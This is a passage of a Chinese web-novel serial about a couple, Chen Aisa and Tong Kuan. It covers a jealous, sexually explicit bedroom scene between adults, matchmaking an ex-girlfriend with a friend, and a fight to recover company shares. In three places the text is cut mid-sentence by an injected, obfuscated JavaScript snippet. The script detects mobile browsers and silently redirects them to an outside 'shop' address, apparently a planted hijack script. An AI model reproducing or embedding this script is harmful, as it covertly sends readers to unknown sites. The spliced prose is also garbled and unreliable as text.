斯昀不急不慢地喝了口咖啡,对着陈艾卅露了个灿烂的笑,一张脸上的甜度都已经超标了,看得陈艾卅心里有点慌,禁不住要往童宽那里确认他现在的表情。 “我有条件。”斯昀到底说出了口。 陈艾卅喉结上下滚动了一下,童宽倒是嘴角弯了起来。 “学姐请讲。” “帮我……”斯昀咬了一下嘴唇,整个人显得特别性感,陈艾卅恨不得找个缝钻进去,他真怕斯昀脑门一热说出什么让他无法招架的话,“介绍个男朋友。” 一口气深深叹了出来,陈艾卅是放松了,童宽和斯昀都在笑,他真快受不了了,三个人谈话,就他一个人紧张。 “你俩还挺像的。” “哦?”斯昀来了兴趣,手肘撑上了桌子,“哪里像?” “看热闹的这个劲儿。”陈艾卅知道斯昀没别的心思,才终于放下心来跟她开玩笑。 “没有吧,我看你男朋友挺淡定的啊,你心虚什么啊?”斯昀问陈艾卅。 “我那是心虚吗?我那是害怕,斯老师。” 童宽突然插了句话进来,占有欲十足,“不是男朋友,是家属。” 斯昀意味深长地笑了起来,眼睛弯得都看不见了,“家属好啊,Issac,你家属比你硬气多了。” “是是是。”陈艾卅连连点头。 斯昀很喜欢和童宽聊天,看似回应不多,但句句都回答在点子上,偶尔会说一些陈艾卅在学校里的往事,童宽听得都很认真,一杯咖啡完了都没想着停。 陈艾卅看童宽的表情越来越带有笑意,心里念叨着大事不妙,赶紧拿出手机给邵珏斐留了个言,“斯昀问我……有没有会法语的朋友,你要联系一下吗?” 59.惩罚 斯昀和童宽聊天的时候,斯昀说得多,童宽说得少,到后面基本是斯昀在说,童宽在笑。最后几乎是陈艾卅劝着说结束的,一会儿摸了摸手机说时间差不多了,一会儿又说自己饿,这俩人都了解陈艾卅,互相对视了一眼,没有嫉妒,更像是隔空交了好多年的老友一样,俩人在陈艾卅的注视下交换了微信,才起身说再见。 回去的时候陈艾卅很主动地给童宽开了车门,自己坐上了驾驶座,一路回去都没说话,其实是他不知道该怎么开口,斯昀太聪明了,和童宽说的那些事都游刃有余又留有余地,还能引发人的无限遐想,他真不知道这会儿的童宽脑袋瓜里在想什么。 车下错了一个高架口,陈艾卅到最左边那根车道准备调头的时候,童宽终于说话了,“卅哥,你给学姐介绍了谁,我看见你发微信了。” “邵珏斐,”陈艾卅顿了一下,“我也不知道他现在什么状态了,就是问问,他俩不都会说法语么。” “给你兄弟介绍前女友啊,不合适吧?”童宽不轻不重地说着。 陈艾卅惊得清了清嗓子,他之前还真没考虑过这点,但又想到自己本科时候那个状态,好像也没什么,“我和斯昀那点事,他们都知道。” “哦……”童宽点了点头,好像不在意的样子。 后来路上俩人都没说话,回到家关上门,就当陈艾卅以为这关终于过了的时候,童宽突然回过头又问,“知道什么?” “什么什么?” “你和斯昀那点事。” “我……”明明过去都将近小十年了,陈艾卅在童宽面前提起这些事还是不自然,“就正常谈恋爱的事情啊。” “刚刚学姐可不是这么说的,”童宽换了拖鞋又去浴室里洗手,“学姐说你光走肾不走心。” 陈艾卅不知道为什么总觉得后牙槽发酸,他拿童宽一点办法都没有,更何况说的还是事实,“是……那会儿是没走心,就觉得该谈个恋爱了。” 洗完了手的童宽把陈艾卅也带进了浴室,“洗手,卅哥。” 陈艾卅就着水池洗了洗手,又挤了一些泡沫搓了搓,接着把手洗净,就跟着童宽回到了卧室。 童宽已经换好了家居服,陈艾卅觉得奇怪,大白天的,童宽平日里时间紧凑,就算是刚回来的几天也一直在找林琦电话会议,或盘账或招人,又或者自己重新搭建app的架构,这么松弛的童宽,让陈艾卅有些摸不准。 这会儿人正恣意地坐在床上,手向后撑着,敞了个腿,人这么一抻,就显得童宽很纤长,好像眼尾还带了些媚态,陈艾卅眨了眨眼睛,以为自己看错了。 “卅哥,换衣服。”童宽突然说。 “嗯?” “我说,”童宽的语气里带了些命令,“换衣服。” “哦。”虽然不解,陈艾卅还是打算照做。 刚把衬衣脱掉,童宽反而不让他动了,伸手勾过了陈艾卅系在西裤上的皮带,顺着劲儿就把陈艾卅带到了面前,童宽是仰着看陈艾卅的,可陈艾卅总觉得童宽在是审视他。 “谈个恋爱都做了什么?”童宽舔了下一嘴唇。 陈艾卅觉得嗓门有点儿干,大概知道是斯昀的那些若有如无的话打翻了他们家小孩儿的醋坛子,还是一罐子陈年老醋,弄得陈艾卅都不知道要做什么回应好。 “……就,那些。” 家里没开空调,又是冬天,陈艾卅的皮肤上冻出了一层鸡皮疙瘩,童宽伸出了一只手往上,先是在陈艾卅的肩窝那碰了一下,“这里,有碰过吗?” 陈艾卅咽了口唾沫,没回答。 童宽的嘴角又带了些笑意,手指又往下顺了顺,一直从胸口到裤腰这里,还嵌入了皮带和西裤的缝隙里,往外拉了拉,陈艾卅的身体愈发紧绷,他见过热情的、迎合的、主动的童宽,唯独没有见过吃醋的童宽,又新奇又害怕。 但他还是没回答,陈艾卅觉得自己此刻说什么都不对。 “这些地方呢,都被碰过?” 直到童宽上手揉了一把,陈艾卅的眼珠子都快瞪出来了。 “这里,也有吧?” 他实在是扛不过这一波童宽的“声讨”,速速对着爱人求饶,“那时候还不认识你,太久了,我不记得了。” “那卅哥的意思,是怪我出现得太晚了。” “不是,”陈艾卅的呼吸一滞,童宽明显使了个力,“是我的问题。” “你什么问题?” “……去、教育超市去少了。” “走肾不走心,卅哥,你对我走的是哪里?”童宽的眼尾一勾,看向陈艾卅的时候带着些特殊的用意。 “心肝脾肺肾都是你的,我整个人都是你的。”陈艾卅已经在童宽的揉搓下呼吸重了起来,恨不得直接扑上去吃干抹净,但他忍住了,他知道童宽有想做的事情。 童宽太主动了,简直让陈艾卅发疯。 他从衣柜里找来了一根陈艾卅之前就没带走的领带,覆盖在陈艾卅的眼睛上,在脑后打了个结,又绕回了脖子前,系了个蝴蝶结,又把陈艾卅带到床边推了一把,让他直接倒在了床上,又找了另一根领带把他的两手束缚在身后。 本来就没有的上身,因为凉意而紧绷,不得不说,陈艾卅的身材非常好,宽肩窄腰,腹肌线条明显却不突出,连手臂都看得出流畅中带有力量。 金属搭扣解开的声音很脆,陈艾卅眉头一紧,却因为正反两个结,没有挣脱,直到整条西裤被扯掉的时候,他被童宽一览无余。 喉结被啃噬,让本能占据了脑子里的主导,他的童宽在自己身上不断掠过,时轻时重,嘴里还念叨着卅哥我以前是不是太乖了,都舍不得在你身上留痕,陈艾卅表面紧张,心里却兴奋得要爆炸了,童宽以为的惩罚,是他心里的另一种渴求。 可能因为这次换了个主次,闻味道的人成了童宽,陈艾卅甚至能感受到身体上掠过的他潮热的鼻息,在抚慰每一个舒张的毛孔——直到童宽一口咬上他的腰肉,陈艾卅意外得惊呼了一声。 “卅哥,你这里最敏感了,怕疼,更怕痒。” “你喜欢,都拿去。”陈艾卅说话的声音都哑了。 “当然要都拿去,一点都不能留。” 此刻的陈艾卅已经对童宽照单全收了,他没有挣扎,甚至带着点享受,他伸过腿去勾童宽的手,让他别停,又在童宽的手落在自己身上的时候,用脚趾抚蹭童宽的身体,直到童宽全身覆盖在他的身上。 细密的吻是从腰间先感受到的,童宽的唇好像化为了羽毛,轻轻落在陈艾卅的身上,路过腹肌和胸口的时候,还故意弄出了声,陈艾卅心神已经乱了,手还在背后,一点办法都没有。 当童宽吻上他的唇的时候,陈艾卅真觉得这两片东西今天非要被弄出血来才能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032948|147968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罢休,可却迟迟等不到童宽的深吻,难耐得整颗心都在发痒。 明明是虚虚扎住的双手,此刻才明白绑下这个活结人的心意,轻巧地就能从结里抽回双手,一手搂住童宽的腰,一手覆住后脑勺,用力加深这个吻。两唇相贴,陈艾卅的手又空出来了,他把覆在眼睛上的领带摘了下来,反过去套上童宽,又在人的耳边轻轻说了句,“体验挺好的,老婆你也试试。” “白日——”童宽刚说了两个字,就被陈艾卅用行动止住了口,再出声儿都是变了调的了。 “绑得太松了,”陈艾卅手上的动作不停,又一直在童宽的耳朵边说话,喷洒的热气激起了他一身的鸡皮疙瘩,“以后有要求就直接提,想玩新花样不用绕这么大弯子。” “卅——唔——” “小醋精,”陈艾卅说一句话断三次,每断一次就能让童宽的再往上仰一仰,几乎整个人都要翻过去了,“又贪心,又贪吃。” “哈——” “不过,”平日里用来接吻的嘴,这时候说出来的话都带着火,“都是,你的。” 两个人折腾着,家居服也好、西裤也好、领带皮带都好,在整个卧室里飞得到处都是,连床上的被子都被踢到了地上,直到床单上有了汗渍也有了水渍,还有些说不清的痕迹,才将将停下了折腾的心思。 童宽仰躺在床上,大口呼着气,胸口剧烈起伏着,陈艾卅却不肯放过他,又想拽过他的脚踝往回拖,吓得童宽赶紧把腿收了回去,整个人往床头上挪,抬起一条腿脚掌抵住陈艾卅的肩窝。 “可以了可以了,卅哥可以了。” “这就可以了?” “可以了,真的可以了。”童宽的语气里已经有了些求饶。 “不计较恋爱的那些事了?” “不计较了,不计较了。” “明白我都是你的了?” “都是我的,”童宽认真点了点头,“谁也没分走啥。” 陈艾卅噗地一声笑了出来,呈大字型平躺在了床上,深深叹了口气,“以前没觉得你这么会玩儿呢?” “没你会。”童宽用腿把陈艾卅往旁边踢了踢,也躺在了他旁边。 “这次还觉得差两岁吗?” “不差不差,”童宽的话里已经有笑意,“您比我年轻。” 陈艾卅看向童宽一身挂的“彩”,啧了一声,摇了摇头,“小黄孩儿终于老实了。” 童宽就在那躺着,抬起手臂捂住了自己的眼睛,笑得特别灿烂,阳光从窗户外倾泻进来,正好映在童宽露出的虎牙和白皙纤长的脖颈上,皮肤上还有渗出来的汗珠,薄薄的一层晶莹仿佛在替代身体的主人表达心里无限的快乐。 童宽说:“学姐真的很不错,人很好。” “哎哎,又来?” “希望学姐能幸福,真心话,”说到这里,童宽又问,“邵哥有回复吗?” “有点模糊,就说抽空出来吃个饭。” “那你约他们呗?” “我约啊?”陈艾卅有点尴尬。 “啊,你约,”童宽翻过身,对着陈艾卅笑,“不准备帮我拿回10%的股份啦?” “约!”陈艾卅看着童宽的调皮样,又把他揪了回来,“我也想有条件。” 童宽挑了个眉,“什么?” “再来一次。” “你——” 60.新门 陈艾卅最终将斯昀和邵珏斐约在了一家西餐厅里,童宽也在,但为了不尴尬,特意换了下座位,陈艾卅和邵珏斐坐在一边,斯昀和童宽坐一边,这刚落座,斯昀就没忍住噗地一声笑了出来,童宽也跟着笑。 “Issac,组织相亲呢?” “没、没有,就朋友吃个饭。” 邵珏斐并非不知道斯昀,当年法语系的系花是多少个男生的梦中女神,追她的人从食堂排到校门口都说少了,就是早年本科的时候听陈艾卅说谈恋爱的对象是她的时候惊呼了一下,觉得这臭小子有福气,后来没过多久,又听说分手了,邵珏斐没过问,但看陈艾卅的精神状态也感觉俩人好像不是那么回事,所以这会儿来吃这个饭,也不觉得尴尬。 童宽在一边点菜,陈艾卅就和他俩寒暄,刚想开口介绍,没想到邵珏斐倒是主动了一些,伸手对着斯昀。 “学姐你好,我是陈艾卅的同学邵珏斐,久仰久仰。” 斯昀浅浅握了一下邵珏斐的手,笑得落落大方,“你好啊,我是斯昀,怎么说久仰,仰久了脖子疼。” “法语系史上最漂亮的系花还是知道的。”邵珏斐也夸了起来。 陈艾卅见他俩聊上了,对着童宽使了个颜色,觉得应该能成。 “对了学姐,”邵珏斐说道,“陈艾卅说您这边需要会法语的朋友?是有什么事需要帮忙吗?我在法国留过学,应该能帮上些。” 斯昀听了眉头几不可见底皱了皱,看向陈艾卅的时候还带着笑,嘴里却说着,“啊是吗……多亏Issac有心了,不过事情已经解决了。” “解决了么,可能也是我回应得晚了,下次学姐直接联系我吧,方便我加您个微信吗?” 陈艾卅眼睛都快瞪直了,以前宿舍里最不谙人情世故的邵珏斐,现在竟然能直接从口袋里掏出手机来加微信,简直是历史性的突破。 “好啊,”斯昀打开了手机,调到了自己的二维码名片,递过去了一些,“来扫一扫。” 两人刚加上微信,主食牛排就上来了,陈艾卅和童宽一向吃全熟的,斯昀和邵珏斐倒是都要了七分,各自和对面的人对视了一眼,都笑开了。 大家都聊了一些各自的生活,邵珏斐说要去一趟洗手间,陈艾卅和童宽对视了一下,也跟了上去。 “哎哎,等等我。”陈艾卅快走了两步跟到了邵珏斐边上。 “你高中生啊,上厕所要人陪的?”没别人的时候,邵珏斐对陈艾卅就不太客气了。 “我有事问你。” “啥事?给斯昀介绍男朋友?” 陈艾卅突然就笑了,“你怎么知道?” “我只是不聪明,但我不傻好吧,人家法语系的人要找会法语的,找得到我头上?” 俩人都进了洗手间后,陈艾卅用手肘拱了邵珏斐一下,“她让我帮她介绍男朋友的。” “没对你余情未了?”邵珏斐睨了他一眼。 陈艾卅听着翻了个白眼,“我们俩之前那点事你又不是不知道,本来就情分不多,何况都过去这么久了。” “那都过去这么久了,斯昀条件这么好,怎么会让你帮她介绍啊?” “这事说来话长,晚点跟你细说,我请她帮个忙,她就给我提了这条件。” “……敢情兄弟是你的条件啊?” “不是,”陈艾卅手背拍了他一下,“你单着没?” “单着。” “斯昀怎么样?” “能力超群的大美女。” “配你怎么样?” “绰绰有余。” “抓紧啊,”陈艾卅说,“还用我教你?” “我可不用你教,你那点花架子,也就童宽对你有滤镜。” 回到餐桌上后,斯昀就对童宽说:“他们俩肯定说悄悄话了。” “嗯,邵哥不知道,另外个人就吃不准了。” “出了门就不乖。”陈艾卅眼神点了点童宽。 邵珏斐虽然知道陈艾卅和童宽感情好,但俩人从来没在他面前露出点什么来,这会儿陈艾卅的一声甜腻的带点儿调情的话,差点没呛着他,斯昀递过来一杯水。 “谢、咳咳、谢谢学姐。” “你就叫我斯昀吧,年轻的时候叫叫学姐,现在再叫就把我叫老了。” “学姐……咳,斯昀你看起来真的很年轻。” 也不知道为什么,邵珏斐说完这句话后,有点不自然,甚至还有些上脸,喝过斯昀递过来的水后好像反应过来了什么一样,自己面前也有一杯水,他惊讶地向着斯昀看了看。 斯昀立刻了然,“没喝过。” 邵珏斐连忙摆手,“没事没事,我不是这个意思。” 斯昀看着他这样,也笑开了。 见俩人聊得也比较顺利了,恰巧林琦打了个电话过来,说有一些账需要和童宽对,陈艾卅和童宽就速速吃了个饭,先行离开了。 临走的时候,邵珏斐还捶了陈艾卅一下,“你这是真相亲啊,连中途离开的节奏都一样。” 陈艾卅回过头摆了个笑,“给你留表现的机会。” “我谢谢你!”邵珏斐对着他喊了一声。 童宽去公司的一路都没怎么说话,陈艾卅还以为他有些不高兴,用手背碰了碰他的脸,“怎么了?” “没有,”童宽拉过了陈艾卅的手,放在自己手心里,一扯一扯地玩着陈艾卅的手指,“就觉得时间过得好快,一不小心就毕业了,一不小心就破产了,一不小心就到现在了。” 陈艾卅捏了捏他的手心,是安慰,也是共同感怀。 童宽的信息科技公司他们俩都很久没有去过了,甚至到了楼下还觉得有些陌生,办公室没有租在高大上的市中心,反而是在高架的一个出口这,离地铁近、开车也方便,他们租的楼层高,往下看能看到高架上的车水马龙。 直到真的到办公室门前,童宽反而驻足了下来,没有继续往前走,陈艾卅知道他有些近乡情怯,倒也没催他,只是站在他旁边,陪他静静地等着。 林琦先离开了,说要对的账放到了童宽的办公桌上。 童宽最终还是从包里拿出了钥匙,办公室的门是两面玻璃的,有个地锁,童宽就蹲了下去,把钥匙插进钥匙孔里,陈艾卅知道,这个锁经常会卡壳,总要以一个比较刁钻的角度才能够打开,童宽蹲下去来回拧了很多次,终于拧开了,咔哒一声,陈艾卅明显看到童宽的手抖了一下。 童宽站在办公室的门前,伸手到了把手上,却没有推开门,陈艾卅明显地看到他细小的喉结上下滚动了一下,眼底里还多了些情绪,直到他拉开门的那一瞬间,陈艾卅才明白,刚刚童宽眼睛里的感情叫做勇敢。 办公室明显被打扫过了,预想的纸张凌乱都不存在,还能明显地看到放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043052|147968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在飘窗角落边的拖把是湿的,甚至还有一些水珠挂在塑料桶上。陈艾卅没有打扰,这里是童宽的战场,是他在这里一手捧起的公司,也是摔得一败涂地的地方。 童宽也没有回过头看他,只是伸出手在一张张桌子上抚过,公司人最少得时候,只有三四个人,他们先是窝在出租房里,接着租了20平的小办公室,放了两张办公桌后甚至觉得有些狭窄,童宽便自己抱着笔记本在沙发上办公……陈艾卅那会儿经常买了夜宵过去,他记得,有个胖胖的做前端的小IT是刚从学校毕业的,每次看见他来都会振奋地站跳起来,又会拉着童宽站起来哄着说宽总、宽总休息一会儿,您爱人来啦! 后来接了几个还不错的项目,公司的现金流多了一些,除了必要开支还有了不少结余,公司也面临扩大的选择,童宽就一咬牙租了这里,足足有100平的空间,还有了一个比较大的会议室和一个小会议室,工位宽阔的情况下可以放三十个,租下的第一天,童宽就给陈艾卅打了电话,只不过那天陈艾卅加班,很晚才到了这里。 那天童宽刚拿到钥匙,连电费都不知道怎么充,陈艾卅到的时候,就看到他坐在消防楼梯这里,膝盖上放着一个笔记本电脑,脸上映上了屏幕的冷光,看见陈艾卅来的时候抬起头来的那个笑,虽然看起来很甜,但陈艾卅在里面读到了一些脆弱,他很庆幸当时自己没有把童宽叫起来,而是静静地坐到了旁边,手上提着刚在楼下买的烧烤,一口一口喂着童宽吃,他记得最后一串吃完的时候,童宽的眼睛里有些晶莹,可环境太暗了,他没看清童宽的鼻头有没有红,但他把童宽拥在了怀里,他记得他说,宝贝,你好勇敢。 时至今日,童宽挺直的脊背也在自己眼前,他慢慢向前走,每一步好像都走在小河里,抬起的每一步脚后跟上都带着水,有的水泛着阳光,有的水却带起了泥泞,陈艾卅心里有些发颤,大步向前握住了童宽的手,他不想、也不舍让童宽再回忆起过去的不快和失败,他只想让童宽清晰地知道,未来道阻且长但始终有他相伴。 “宽总,你看我这工位,安排在哪里好?” 轻声的一句话,好像把童宽还有些深陷的思绪给拉了回来,他看向陈艾卅的眼睛从迷蒙到清晰,好像跨越了一条时光长河,甚至此时不知道该摆什么表情。但他也不过只是失神了几秒,就对陈艾卅笑了起来。 “总之不能离我太近。” “为什么?” “因为我会分心。” “我也不常在公司。” “我们打卡看考勤的。” “好严格啊。” “那你想好了吗?” “根本不用想,你在哪里,我就在哪里。” 俩人牵着手进了童宽的办公室,桌上放着一个塑料文件袋,童宽把里面的文件抽出来后一张张翻过,最后又整个塞了回去,轻轻叹了口气后闭上了眼睛,表情有些艰难,陈艾卅就抚上了他的背。 “卅哥,我真不太愿意用爸妈的钱。” “我知道。” “可好像,不得不用。” “你尽管用,用了他俩其实才安心” “卅哥……谢谢爸妈,也谢谢你。” “傻小子,”陈艾卅把童宽揽进了怀里,“我们……一定要有随时可以从头再来的勇气。” 童宽点了点头,也顺手拍了拍陈艾卅的背,“不过从头再来而已。” 61.返校 拿回丁彧手里的10%股份比想得还要难一些,他行事谨慎又大胆,甚至在陈艾卅和徐熠找上门的时候,都很淡定地给他们泡茶,丁彧咬死了过去的事情只是童宽一气之下黑了研究生系统而已,还警告他们不想闹大的话不要冲动,学校对于发出的证书有追溯取消的权利。 陈艾卅难得在出了丁彧办公室后骂了句脏话,徐熠倒跟看热闹似的,问陈艾卅怎么都找了斯昀还想着多此一举来找丁彧协商。陈艾卅没告诉他,请斯昀帮忙是一回事,让一个女生曝光自己曾经被骚扰的事实,本就很残忍,何况也不想这件事真的变成一桩交易。 可最终还是没办法晚上给斯昀打了个电话,没想到接起来的人却是邵珏斐,陈艾卅还一惊,还特意看了看时间是晚上九点后了,他一愣,好像不知道要说什么来,直到电话被斯昀接过去他才反应过来,邵珏斐这小子和斯昀发展得还真挺快。 “Issac,你说的事情我已经考虑过了,没问题的,但我还是想和殷蔚聊一下,你把她电话给我吧。” “学姐,”陈艾卅打起了退堂鼓,他实在不愿将女生推到前面去,“如果为难也没关系,等着我们之后股权慢慢稀释掉。” “TK那边的情况,不太允许慢慢来吧?”斯昀到底是个聪明人,一击即中,这句话出来陈艾卅都没法反驳。 “嗯……” “你不要以为我是帮你才做这件事的,不说丁彧这老头对我没造成什么实质性的伤害,其实更多的是要提醒更多女生对于这种事情的警惕,以及碰到这种事后要有站出来为自己声讨的勇气,就算不存在你的帮忙,这件事我也是想做的。” “斯昀。”陈艾卅不禁叫了一声她的名字。 没想到电话那头斯昀却笑了起来,“喂,后悔也来不及了啊,我现在有男朋友了。” “没没没,我只是想谢谢你,”说到这里,陈艾卅转了个话头,“邵珏斐转正了啊?这么快?” “快吗?” “距离你俩见面没俩星期吧也就。” “我们在大学的时候见过面其实,”斯昀说着,声音里还带着笑意,“只不过没互相认识,后悔啊,Issac,那会儿光盯着你这臭皮囊看了。” “哎,学姐,往事不重提啊,”陈艾卅也笑着,“邵珏斐人不错吧?” “何止不错,比你懂事太多了。” “学姐您慢慢享用。” “说什么呢,”斯昀啐了他一口,“他就是来我这借书而已。” “行行行,借书借宿,你们请便。” “等一下,Issac,”斯昀话里有些犹豫,这倒是陈艾卅第一次见这种反应出现在斯昀身上,“邵珏斐以前……是不是有个女朋友?” 陈艾卅眼睛睁了睁,他没想过一向自信朝前看的斯昀也会暗暗打听男朋友之前的过往,看来这次的在意程度已经超出了自己的预期了。 “好像是,毕业的时候分手了,那会儿说本来要去英国留学,后来才选择去了法国。” “怪不得。” “怎么啦?” “没有,我就是问问,总感觉他好像不太自然。” “不会旧情未了吧?”陈艾卅有点惊慌。 “不是不是,旧情未了我能和他好么,就是感觉他有些小心翼翼。” “哈哈哈,”陈艾卅笑开了,“那你……多带带他。” “哎,姐弟恋的烦恼啊。”斯昀哀叹了一声。 “人家现在是海归高知好吧?” “是,挺好的,就是太……小心了。” “你俩的事我不好多说,不过学姐有什么需要我旁敲侧击的,随时吩咐。” “谁要你插手了。” “行行,我错了,我不插手。” “他挺好的。” 陈艾卅一边笑一边回应,“是是,真挺好。” 一通电话下来,陈艾卅拿着手机去找童宽,脸上的笑意还没褪去,被童宽抓了个正着,这人就问自己和斯昀打个电话这么高兴啊,陈艾卅就走过去拉过了童宽的手,说斯昀愿意帮他们这个事,又说高兴的不是这件事,而是斯昀和邵珏斐处上了,斯昀还有些拿邵珏斐没办法,陈艾卅说这是第一次从斯昀的嘴巴里听说哪个男生她搞不定的,童宽就捏了捏他的手,撂下了一句你们宿舍出人才,他刚想点头附和,又觉得童宽不是那个意思,又赶紧跟了上去。 —— 和丁彧的较量终于在斯昀联系完殷蔚后开始了,他们并没有采取很温和的手段,而是直接列了一封冗长的举报信,把丁彧当年对她俩的行为都列了出来,并且都有实证,直接投递到了学校的纪检委那边。 那天陈艾卅、童宽、徐熠、斯昀、邵珏斐、殷蔚都去了现场,虽然看似声势浩大,却也在纪检委处吃了闭门羹,一方面是怕影响不好,另一方面这事还有待考证,而且又是陈年旧事,不太好查证,需要有一段时间进行谈话了解等等,在最终知道结果至少要等一个月后,陈艾卅有些坐不住,但最终还是被童宽拉了下来。 在反映的过程中,童宽坦白了当年自己黑研究生系统的事,纪检的老师听说后眉毛挑了挑,说他的这个行为也会在日后公布的调查结果中给一个处理结果的,陈艾卅实在是坐不住了,告诉了老师他们的真实关系,也表达了童宽的关心则乱,并且童宽只是查阅了相关资料,并没有进行篡改,还请老师网开一面,纪检委的老师并没有多说什么,只说到时候等着一起看处理结果,陈艾卅还想争辩什么,也被童宽拦下了。 事后除了陈艾卅和童宽,其他人都各自去忙了,两人就在学校里转悠了起来,陈艾卅握着童宽的手一点没避讳,牵着他走到了教育超市、路过了草坪、经过了第三食堂又到了研究生宿舍,两个人走得很慢,和匆匆赶路去上课的学生们截然不同。 “小宽,我总觉得之前在学校里,我太懦弱了。” “嗯?因为什么?” “意识到了对你的喜欢,但却去主动忽略了这种感觉,让你等太久。” “卅哥,有的时候……喜欢不一定非得用嘴说出来。” “嗯?” “其实你不说,我也感觉得到你对我……有点不一样。甚至有的时候会害怕,是不是等你意识到了,说出口了,你就真的会从我身边抽离一样。” 陈艾卅深深叹了一口气,“抽是不可能抽离了,见不着你我骨头都痒。” “欠揍啊?”童宽转过头对着他笑。 “是啊,就是欠揍。” 童宽没搭理他,反而握着手更紧了。 他们一路看见了不少学生,有的人背着书包行色匆匆,有的人捧着书,有的男女走在一起却隔了一条不近不远的缝隙,有勾肩搭背的男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050215|147968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生,有手挽在一起的女生,脸上都洋溢着青春的气息,岁月静好、天真烂漫。 “卅哥,谢谢你。”童宽突然对陈艾卅说了一句。 陈艾卅停下了脚步,转过头看他,眼睛里带着些疑问。 没想到童宽伸出了手,往面前的学生那指了一圈,“我想,我指到的这一圈人里,大概极少有和我一样一无所有的,谢谢你在我一无所有的时候,出现在我的生命里。” 陈艾卅拧了拧眉毛,又牵起童宽的手走起来,找到了校园里的一个长椅,两人坐了下来。其实他很少过问童宽之前的事,大多数时候,都是童宽提起,他就纯听,但基本不主动问,但今天童宽的这个反应,陈艾卅心里扯着疼了一下,有一个徘徊了很久的问题,荡在胸口。 “听你之前说,院里的阿姨对你不差,怎么也从来不见你说要回去看看,或者打个电话什么的?” 童宽眨了眨眼睛,低下了头,手掌心搓着裤子,语气里都是遗憾,“我……大二的时候,孤儿院着了火,带我的阿姨没能跑出来,后来孤儿院说要重建了,也一直没有后续,可能换地方了吧。” “哦……”陈艾卅咽了口唾沫,“还想着回去找找吗?” 童宽摇了摇头,“不找了,也不完全都是开心的事情,过去就过去吧。” 陈艾卅想把童宽揽过来,却被童宽止住了手,他才意识到这还是在学校。 “卅哥,你赋予了我生命的厚度。” “理科生说起情话来,也有点让人招架不住啊?”陈艾卅故意取笑他,想把气氛搞得活跃一些。 “我看你脸皮厚才说的。” “很厚么?” “也没有太厚吧,但至少有过去,有现在,还有将来。” “我就是你的生命记事本呗?” 童宽睨了他一眼,“你不愿意当也行,趁我还年轻——” “哎哎哎,想什么呢,不许,你生命的厚度只能我来记录。” 两人去第三食堂问小学弟借了饭卡买午餐,小学弟听说是年长好几岁的学长,连忙摆手说要请他俩吃,陈艾卅还是认认真真地给人转了费用过去,还额外给了五块钱说请他喝学校点心部的饮料,童宽看着这样的陈艾卅入了神,好像这个当时会因为2块钱而要还回来的人一直没变过,始终都给所有人尊重和感恩。 “丁彧那10%如果要不回来,就算了吧,等着重新成立家公司,稀释掉他的股份就行了,回头再开个股东大会,把他踢了,也能搞定。”陈艾卅吃着熟悉的肥牛饭,对着童宽说。 “怎么突然不这么坚持了?”童宽也搅和着拌饭问。 “性质变了,不是问他把钱拿回来,而是要阻止他干缺德事。” “那也不妨碍拿那10%的股份啊。” 陈艾卅沉默了一瞬,“如果会影响到你毕业证取消的话,这10%就当买教训了。” “卅哥,你心里不用愧疚,这些都是我愿意做的。” “我不想你因为这个丢掉一个为我拼命争取来的东西。” “不会的,我相信……”童宽深吸了一口气,“这个世界总是好人多,他们有辨别是非的能力。” “但愿吧。” “至少我碰到的大多都是好人,是不是?”俩人是并排坐的,童宽凑到了陈艾卅的耳边,轻轻喊了一声,“老公?” 62.骑士 陈艾卅被这一声老公叫得太心痒了,当下就想拽着童宽的手拉到面前来狠狠吻他一番,可这到底是学校,陈艾卅只能狠狠地捏了一下童宽的手腕,看到他的眼睛里露出了些狡黠,就知道刚刚那一声绝对是故意的。 眼看着学校逛得差不多了,陈艾卅接到了自己之前就职公司领导Aaron的电话,他看了一眼童宽,把手机亮到了他的面前看清了来电人,童宽点了点头,才接了起来。 “Aaron,是,回来了。” “谢谢,但是……我还是坚持之前自己的决定,非常抱歉。” “有方向了,和我爱人一起创业。” “不过……”陈艾卅停顿聊一下,“不知道之后有没有机会可以合作?” “是的,那等我们这边准备好,我约您时间。” “好的谢谢。” 电话挂了后,陈艾卅深吸了一口气,童宽知道这个Aaron,是陈艾卅进公司后空降的一个年轻领导,新加坡华人,陈艾卅能提升成销售总监,也是靠这个人提携。 “让你回公司?”童宽先发问。 陈艾卅点了点头,“嗯,之前离职的时候就问我要不要办停薪留职。” 童宽笑了起来,小虎牙不知道是试探还是得意,“怎么不办?” “好意思说么宽总,我这一心一意上你这打工。” “看在你一心一意的份上,可以匀给你30%的股份。” “太多了。” “卅哥,我是认真的。我30%,你30%,还有20%留出资方的空间,剩余的10%拿来做员工激励。”童宽好像已经思考了很久,才决定出来的方案。 